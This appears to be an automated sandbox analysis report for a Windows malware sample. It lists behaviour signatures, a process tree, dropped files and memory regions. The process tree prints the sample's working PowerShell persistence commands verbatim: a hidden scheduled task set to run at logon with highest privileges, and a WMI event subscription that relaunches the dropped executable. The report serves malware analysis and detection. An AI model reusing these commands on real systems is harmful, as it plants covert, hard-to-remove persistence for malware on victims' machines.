Analysis

  • max time kernel
    144s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/07/2026, 08:20

General

  • Target
    2026-07-05_f97f45fff3950fb5805852731872fad6_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
  • Size 42.6MB
  • Sample260705-j8sc7aa18v
  • SHA256 f562645e980fd5d47cf1bd23c7a3c90635a01d6b0e1f12ccc7ef1d56e5304b55
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 40 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-05_f97f45fff3950fb5805852731872fad6_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-05_f97f45fff3950fb5805852731872fad6_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:2124
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_9d1f4cd92058.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_fe30b5c2' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:840
  • C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_9d1f4cd92058.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_9d1f4cd92058.exe"
    1⤵
    • Drops startup file
    • Executes dropped EXE
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:5624
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_9d1f4cd92058.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_fe30b5c2' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:6096
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_ffe30b5c2'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_cfe30b5c2'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_9d1f4cd92058.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_ffe30b5c2'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_cfe30b5c2'\"; $null = $b.Put()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:5612
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:820
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:4228
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1620
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2340

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 bf18e605f71105006e87e4670fd2a1dc46efa506577e1fc4a1113dd379aa2de9
        • MD5 SHA1 SHA512 TLSH

        prep_Activatable Class_Hermes_perf.cache

        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 595B
        • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_aenmwixv.ele.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aenmwixv.ele.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        agent-3696958176.tmp

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-3696958176.tmp
        • Size 42.6MB
        • SHA256 f562645e980fd5d47cf1bd23c7a3c90635a01d6b0e1f12ccc7ef1d56e5304b55
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/840-18-0x00007FFFC7F40000-0x00007FFFC88E4000-memory.dmp

        memory/840-36-0x00007FFFC7F40000-0x00007FFFC88E4000-memory.dmp

        memory/840-17-0x00007FFFC7F40000-0x00007FFFC88E4000-memory.dmp

        memory/840-14-0x00007FFFC7F40000-0x00007FFFC88E4000-memory.dmp

        memory/840-25-0x00000217EE570000-0x00000217EE58E000-memory.dmp

        memory/840-26-0x00000217EE840000-0x00000217EE8F2000-memory.dmp

        memory/840-27-0x00000217EE590000-0x00000217EE59A000-memory.dmp

        memory/840-28-0x00007FFFC7F40000-0x00007FFFC88E4000-memory.dmp

        memory/840-29-0x00000217EE5C0000-0x00000217EE5DE000-memory.dmp

        memory/840-30-0x00007FFFC7F40000-0x00007FFFC88E4000-memory.dmp

        memory/840-31-0x00007FFFC7F40000-0x00007FFFC88E4000-memory.dmp

        memory/840-32-0x00007FFFC7F40000-0x00007FFFC88E4000-memory.dmp

        memory/840-33-0x00007FFFC7F40000-0x00007FFFC88E4000-memory.dmp

        memory/840-34-0x00007FFFC7F40000-0x00007FFFC88E4000-memory.dmp

        memory/840-35-0x00007FFFC7F40000-0x00007FFFC88E4000-memory.dmp

        memory/840-15-0x00007FFFC7F40000-0x00007FFFC88E4000-memory.dmp

        memory/840-37-0x00007FFFC7F40000-0x00007FFFC88E4000-memory.dmp

        memory/840-39-0x00007FFFC7F40000-0x00007FFFC88E4000-memory.dmp

        memory/840-13-0x00000217D62B0000-0x00000217D62D2000-memory.dmp

        memory/840-12-0x00007FFFC7F40000-0x00007FFFC88E4000-memory.dmp

        memory/840-6-0x00007FFFC80CF000-0x00007FFFC80D0000-memory.dmp

        memory/1620-89-0x000001AC4FEC0000-0x000001AC4FFC0000-memory.dmp

        memory/1620-133-0x000001AC12E60000-0x000001AC12E80000-memory.dmp

        memory/1620-100-0x000001AC12A60000-0x000001AC12B60000-memory.dmp

        memory/1620-98-0x000001AC02620000-0x000001AC02640000-memory.dmp

        memory/1620-111-0x000001AC02940000-0x000001AC02960000-memory.dmp

        memory/1620-88-0x000001AC4FEC0000-0x000001AC4FFC0000-memory.dmp

        memory/1620-87-0x000001AC4FEC0000-0x000001AC4FFC0000-memory.dmp

        memory/4228-263-0x000000000AAA0000-0x000000000ACFF000-memory.dmp